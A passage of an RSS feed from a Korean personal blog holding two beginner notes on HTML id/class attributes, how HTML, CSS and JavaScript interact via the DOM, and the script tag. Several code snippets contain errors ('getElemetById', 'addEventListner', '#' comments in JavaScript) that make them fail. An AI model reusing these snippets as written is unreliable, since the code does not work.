&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;div id=&quot;ina&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;div id=&quot;maru&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;HTML에서 요렇게 쓰고&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;자바스크립트에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;document.getElemetById(&quot;maru&quot;)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이런식으로 id=maru인 요소를 찾는다&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;class&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;-&amp;gt; 여러 요소를 묶고 싶으면 class를 사용한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;-&amp;gt; 그룹 이름표,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;p class=&quot;comment&quot;&amp;gt;댓글 1&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;p class=&quot;comment&quot;&amp;gt;댓글 2&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;lt;p class=&quot;comment&quot;&amp;gt;댓글 3&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;**&lt;/span&gt;&lt;/p&gt;</description>
      <category>web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/23</guid>
      <comments>https://m4ruru.tistory.com/23#entry23comment</comments>
      <pubDate>Tue, 2 Jun 2026 01:18:07 +0900</pubDate>
    </item>
    <item>
      <title>웹은 어떻게 동작하나요(HTML,JS,CSS,브라우저의 관계)</title>
      <link>https://m4ruru.tistory.com/22</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;웹페이지는 보통 HTML, CSS, JavaScript가 동작하면서 만들어진다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTML : 웹페이지 &lt;b&gt;구조&lt;/b&gt;를 만듦&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- CSS : 웹페이지 디자인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- JavaScript : 웹페이지의 동작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;[DOM과 관련된 내용,,,]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;- 브라우저 : 그 HTML을 &lt;b&gt;DOM Tree&lt;/b&gt;로 변환&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;- javascript : 위 DOM Tree를 읽거나 수정하면서 웹페이지의 &lt;b&gt;동작&lt;/b&gt;을 만듦&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러니까,, &lt;span style=&quot;color: #006dd7;&quot;&gt;개발자&lt;/span&gt;가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTML 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- CSS 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- JavaScript 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버에 올리기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;사용자 브라우저&lt;/span&gt;가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버에서 HTML / CSS / JS 파일을 받아오기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTML로 DOM Tree 만들기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- CSS 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- JavaScript 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- JavaScript가 DOM을 조작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요런 역할을 기반으로 웹이 동작하는데,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지에 버튼 하나와, 결과 출력 공간을 만들고 싶으면&lt;/p&gt;
&lt;pre id=&quot;code_1780155030153&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;button id=&quot;btn&quot;&amp;gt;클릭&amp;lt;/button&amp;gt;     # 버튼 하나
&amp;lt;div id=&quot;result&quot;&amp;gt;&amp;lt;/div&amp;gt;           # 결과 출력 공간 하나

&amp;lt;script src=&quot;/static/app.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자는 이렇게 HTML을 작성할 수 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 화면에 단순하게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;[클릭] 버튼&lt;/span&gt;과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;[결과 출력 빈 공간]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이라는 화면만 덩그러니 떠 있을 것이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이런 버튼을 눌렀을 때 &lt;span style=&quot;color: #006dd7;&quot;&gt;실제로 어떤 동작을 발생&lt;/span&gt;시키기 위해서 JavaScript가 필요하고&lt;/p&gt;
&lt;pre id=&quot;code_1780155606181&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const button = document.getElementById(&quot;btn&quot;);    # id = btn인 버튼 찾기
const result = document.getElementById(&quot;result&quot;); # id = result 찾기

button.addEventListner(&quot;click&quot;, function () {
	result.textContent = &quot;버튼을 눌렀습니다!&quot;;
});
# 버튼이 클릭되면, result div 안에 &quot;버튼을 눌렀습니다!&quot;라는 글자 넣기&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 javascript를 작성해 html과 연결시켜줄 수 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 연결과정에서 &lt;b&gt;DOM Tree&lt;/b&gt;가 필요하다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;(아마 다음글에서 DOM에 대해 정리할 예정)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;번외)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;태그에 대하여,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; JavaScript를 연결하는 통로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML에서 JavaScript를 실행할 때는 보통 &amp;lt;script&amp;gt; 태그를 사용,,!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저가 HTML을 읽다가 &amp;lt;script&amp;gt;태그를 만나면 태그 내용을 JavaScript 코드로 실행한다&lt;/p&gt;
&lt;pre id=&quot;code_1780158340887&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
 alert(&quot;hello&quot;);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 javascript 파일을 불러올 수도 있다ㅏ&lt;/p&gt;
&lt;pre id=&quot;code_1780158497692&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;/static/app.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/22</guid>
      <comments>https://m4ruru.tistory.com/22#entry22comment</comments>
      <pubDate>Sun, 31 May 2026 01:33:26 +0900</pubDate>
    </item>
  </channel>
</rss>